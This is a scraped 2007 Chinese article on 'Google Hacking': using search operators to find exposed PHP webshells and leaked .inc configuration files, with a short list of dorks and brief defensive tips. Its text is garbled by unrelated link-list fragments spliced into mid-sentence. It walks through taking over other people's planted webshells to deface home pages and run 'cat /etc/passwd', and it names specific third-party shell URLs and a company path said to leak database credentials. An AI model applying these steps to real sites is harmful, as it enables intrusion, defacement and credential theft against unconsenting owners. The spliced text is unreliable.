信息安全的隐患-GoogleHacking原理和防范
发表于:2007-06-09来源:作者:点击数:
标签:
信息安全的隐患-GoogleHacking原理和防范 2004年在拉斯维加斯举行的BlackHat大会上,有两位安全专家分别作了名为You found that on google ? 和google attacks 的主题演讲。经过安全焦点论坛原版主WLJ大哥翻译整理后,个人觉得有必要补充完善一些细节部分。
信息安全的隐患-GoogleHacking原理和防范 2004年在拉斯维加斯举行的BlackHat大会上,有两位安全专家分别作了名为You found that on google ? 和google attacks 的主题演讲。经过安全焦点
论坛原版主WLJ大哥翻译整理后,个人觉得有必要补充完善一些细节部分。今天向大家讲述的是Google的又一功能:利用搜索引擎快速查找存在脆弱性的主机以及包含敏感数据的信息,甚至可以直接进行傻瓜入侵。
用google来进行“渗透测试”
我们今天渗透测试人员在实施攻击之前,往往会先进行信息搜集工作,而后才是
警惕DoS的路由器攻击 | | shadow发现新浪cgi漏洞的过程 |
| 如何对PHP程序中的常见漏洞进行攻击(下) |
| 利用way-board.cgi入侵韩国网站 |
| 非法探取密码的原理及其防范 |
| 入侵江湖 |
| apmd of RH 7.2 存在符号连接攻击 |
| win2k漏洞锦集 |
| Linux入侵检测 |
| 应用软件黑客入侵大揭秘 |
| 相关链接共 205 篇 |
| <<刷新该页面可以得到不同的关键字链接>> |
','相关的链接')
}" href="http://www.safechina.net/article/showarticle.php?id=1103778855#">漏洞确认和最终的漏洞利用、扩大战果。在这里我们现在要谈的是:
一、利用google查找被人安装了php web
Backdoor and Linux LKM Rootkit - smashing the kernel at your own risk | | 文件系统安全 |
| 由一次入侵实例看虚拟主机系统的安全问提(下) |
| 利用格式化串覆盖*printf()系列函数本身的返回地址 |
| Nimda/尼姆达蠕虫报告_update |
| UNIX 系统操作入门(二) |
| Hacking CGI |
| unicode编码漏洞全攻略-1 |
| Telnet简介 |
| 浏览图片就有可能中木马! |
| 相关链接共 145 篇 |
| <<刷新该页面可以得到不同的关键字链接>> |
','相关的链接')
}" href="http://www.safechina.net/article/showarticle.php?id=1103778855#">shell
Windows新漏洞将任意用户提升到SYSTEM级别的权限的方法 | | 文件系统安全 |
| 关于NT LOG记录 |
| Linux后门手法 |
| samsa网络入侵教程一 |
| adore rootkit分析 |
| 菜鸟操(六)(bfctx原创) |
| 一般入侵所需要的几个常用命令 |
| 80端口web服务攻击痕迹 |
| 输入法漏洞之完全心得 |
| 相关链接共 78 篇 |
| <<刷新该页面可以得到不同的关键字链接>> |
','相关的链接')
}" href="http://www.safechina.net/article/showarticle.php?id=1103778855#">后门的主机,并测试能否使用;
二、利用google查找暴露出来的INC敏感信息.
OK,现在我们开始:
1.查找利用php webshell
我们在google的搜索框中填入:
Code:
intitle:"php shell*" "Enable stderr" filetype:php
(注: intitle—网页标题 Enable stderr—UNIX标准输出和标准错误的缩写filetype—文件类型)。搜索结果中,你能找到很多直接在机器上执行命令的web shell来。如果找到的
ASP漏洞及安全建议(safefan) | | 下一代系统日志工具(syslog-ng) |
| 跨站脚本执行漏洞详解 |
| 对PHP文件上传存在漏洞的解决办法 |
| PHP 预设安装法在 NT/Apache 上所产生的系统漏洞 |
| 如何对PHP程序中的常见漏洞进行攻击(上) |
| 80端口web服务攻击痕迹 |
| LB5000 存在Cookie 变量未过滤漏洞 |
| Network Tool 0.2 Addon for PHPNuke 存在命令可执行漏洞 |
| SQL Server 2000的安全配置 |
| 相关链接共 15 篇 |
| <<刷新该页面可以得到不同的关键字链接>> |
','相关的链接')
}" href="http://www.safechina.net/article/showarticle.php?id=1103778855#">PHPSHELL不会利用,如果你不熟悉UNIX,可以直接看看LIST,这里就不详细说了,有很多利用价值。要说明的是,我们这里搜索出来的一些国外的PHPSHELL上都要使用UNIX命令,都是system调用出来的函数(其实用百度及其他搜索引擎都可以,只是填写搜索的内容不同)。通过我的检测,这个PHPWEBSHELL是可以直接Echo(
SSH使用及协议分析 | | Windows 2000 Command Prompt |
| 如何隐藏你的踪迹 |
| 谈点我对初学者如何开始学习VC的看法 -- Bingle |
| Digital Unix CDE dtaction 缓冲溢出代码 |
| UNIX 系统操作入门(三) |
| 常见端口对照表(英文版) |
| 网络信息安全概况 |
| 破解系统(1-7) |
| 通过NetBIOS入侵 |
| 相关链接共 75 篇 |
| <<刷新该页面可以得到不同的关键字链接>> |
','相关的链接')
}" href="http://www.safechina.net/article/showarticle.php?id=1103778855#">Unix常用命令)。一句话就把首页搞定了:
Code:
echo "召唤" > index.jsp
在得到的
Code:
echo \
后再写上:"召唤"
现在看看首页,已经被我们改成: "召唤" 了
我们也可以用WGET上传一个文件上去(比如你要替换的叶子吧)。然后execute Command输入 cat file > index.html or echo "" > file
echo "test" >> file
这样一条条打出来,站点首页就成功被替换了。同样的也可以
Code:
uname -a;cat /etc/passwd
不过有点要注意,有些WEBSHELL程序有问题,执行不了的,比如:
http://www.al3toof.com/card/smal ... c_html&command=
http://ramsgaard.net/upload/shell.php
这些站的php是global register off
解决方案:
我们可以利用相关工具进行在互联网进行搜索,如果有信息被滥用,到http://www.google.com/remove.html 提交你希望删除的信息,
控制搜索引擎机器人的查询.
2.搜索INC敏感信息
我们在google的搜索框中填入:
Code:
.org filetype:inc
我们现在搜索的是org域名的站点的INC信息(因为google屏蔽掉了搜索"COM"信息,我们还可以搜其他gov,cn,info,tw,jp,edu等等之类的)
PS:我在看许多PHP编程人员在编程时候,都喜欢把一些常写的代码或配置信息,写在一个.inc的文件中,如shared.inc、global.inc、conn.inc等等,当然这是一个很好的习惯,包括PHP官方网站都是如此,但不知你有没有注意到这里面含一个安全隐患问题。
我有一次在写一个PHP代码时,无意中写错了一句话,当我在浏览器里查看此PHP文件时,竟然发现屏幕详细的显示了我所出错的PHP文件路径及代码行。(PHP错误显示配置是开着的.此功能在PHP里是默认的!),这就是说当我们无意写错代码(同样.inc文件也一样) 或者PHP代码解析出问题时,而PHP错误显示又是开着的,客户端的用户就会看到具体url地址的.inc文件,而.url文件如同txt文本一样,当在浏览器中浏览时,就毫无保留地显示了它的内容,而且不少站点在.inc文件写了重要的信息如用户
mysql安全问题(匿名用户)的一点心得 | | The Solaris安全FAQ |
| 谈点我对初学者如何开始学习VC的看法 -- Bingle |
| Bo 2000 详细介绍 |
| Windows NT 4的安全结构 |
| 我是怎样进入chinalinux站点的 |
| WinShell v3.0 中文帮助 |
| 如何避免浏览网页时硬盘被共享 |
| 公开OICQ所有通讯协议 |
| Back Orifice |
| 相关链接共 186 篇 |
| <<刷新该页面可以得到不同的关键字链接>> |
','相关的链接')
}" href="http://www.safechina.net/article/showarticle.php?id=1103778855#">密码之类!包括国内著名海尔公司以及嘉铃摩托公司,我之所以敢公布是因为我本人测试过,http://www.haier.com/su ***/inc/conn.inc 暴出的数据库ID密码用客户端连不上去,网站关闭了1215,而且
如何关闭你的NetBIOS 端口,让黑客无法入侵你! | | 囚禁你的精灵(daemon)进程 |
| NETBUS2.0说明 |
| Win2K Server入侵监测 |
| 安全性与INTERNET信息服务器IIS |
| Windows NT 4的安全结构 |
| 下一代系统日志工具(syslog-ng) |
| WINDOWS的SHELLCODE编写高级技巧 |
| 12个有关建立防火墙的建议 |
| 当心!浏览网页硬盘被共享 |
| 相关链接共 103 篇 |
| <<刷新该页面可以得到不同的关键字链接>> |
','相关的链接')
}" href="http://www.safechina.net/article/showarticle.php?id=1103778855#">防火墙也过滤掉了。
好,INC的
知识说完后,我们继续又搜索到了好多,找到一个暴露了MY
mysql安全问题(匿名用户)的一点心得 | | Microsoft 安全公告 |
| 安全性与INTERNET信息服务器IIS |
| Windows 2000漏洞集锦 |
| 网络信息安全概况 |
| 为什么要 Linux,为什么为它狂热. |
| Windows 2000 Command Prompt |
| MySQL安全性指南 |
| 管理信息系统安全方案详解 |
| mysql安全问题(匿名用户)的一点心得 |
| 相关链接共 41 篇 |
| <<刷新该页面可以得到不同的关键字链接>> |
','相关的链接')
}" href="http://www.safechina.net/article/showarticle.php?id=1103778855#">SQL
Unix黑客初学者指导 | | 嗅探器 |
| 已公布的信息技术安全标准 |
| Windows 2000 安全设置检查清单 |
| The Solaris安全FAQ |
| 由一次入侵实例看虚拟主机系统的安全问提(下) |
| UNIX系统编程常用库函数说明 |
| FoxMail企业地址簿口令使用弱加密算法 |
| IIS 5.0自带NNTP Server权限控制全攻略 |
| 数据完整性检测工具:Tripwire |
| 相关链接共 91 篇 |
| <<刷新该页面可以得到不同的关键字链接>> |
','相关的链接')
}" href="http://www.safechina.net/article/showarticle.php?id=1103778855#">口令的
我们又可以用客户端登陆上去修改数据了.这里涉及到数据库的知识,我们不谈太多,关于"INC暴露敏感信息"就到这里结束吧
当然我们可以通过一些办法解决:
1,你可以专门对.inc文件进行配置,避免用户直接获取源文件。
2,当然比较好的方法是,加上并且改文件扩展名为.php(PHP可以解析的扩展名),这样客户端就不会获取源文件了。
这里,我将FreeMind绘制的图片用文本表示了.
有关Google Hack的详细信息,帮助我们分析踩点
连接符:
Code:
+ - : . * │
操作符:
Code:
"foo1 foo2"
filetype:123
site:foo.com
intext:foo
intitle:footitle
allinurl:foo
密码相关
Code:
:“index of”
htpasswd / passwd
filetype:xls username password email
"ws_ftp.log"
"config.php"
allinurl:admin mdb
service filetype:pwd (frontpage)
敏感信息:
Code:
"
robots.tx"
"disallow:"
filetype:txt
inurl:_vti_cnf (frontpage files)
allinurl:/msadc/samples/selector/showcode.asp
allinurl:/examples/jsp/snp/snoop.jsp
allinurl:phpsysinfo
ipsec filetype:conf
intitle:"error o
clearcase/" target="_blank" >ccurred" odbc request where (select│insert)
"mydomain.com" nessus report
"report generated by"
结尾:
如果要拿ROOT
PAM认证模块使用实例 | | Ikonboard 存在Cookie 变量未过滤漏洞 |
| Linux入侵检测 |
| samsa网络入侵教程一 |
| 如何对PHP程序中的常见漏洞进行攻击(上) |
| adore rootkit分析 |
| 应用软件黑客入侵大揭秘 |
| 几种流行的入侵工具与讲解[转] |
| 入侵思路 |
| Win2K Server入侵监测 |
| 相关链接共 195 篇 |
| <<刷新该页面可以得到不同的关键字链接>> |
','相关的链接')
}" href="http://www.safechina.net/article/showarticle.php?id=1103778855#">权限就要具体问题具体分析了,不过有了SHELL权限就好提了,网上有很多根据WEBSHELL提升权限的文章大家可以参照一下.
通过google我们还可以搜索到很多有用的东西,不过是细节,要通过信息收集慢慢分析、扩大、进行入侵.
这些我就不具体分析了.给大家个思路,大家慢慢研究好了
到这里,这篇文章就要结束了,写这篇文章的目的是为了引起大家的关注与重视,了解新的HACK手段,了解新的防护方法,事物都有两面性,在当今Google盛行的时代,在充分利用google的同时.也应该看得更全面.
原文转自:http://www.ltesting.net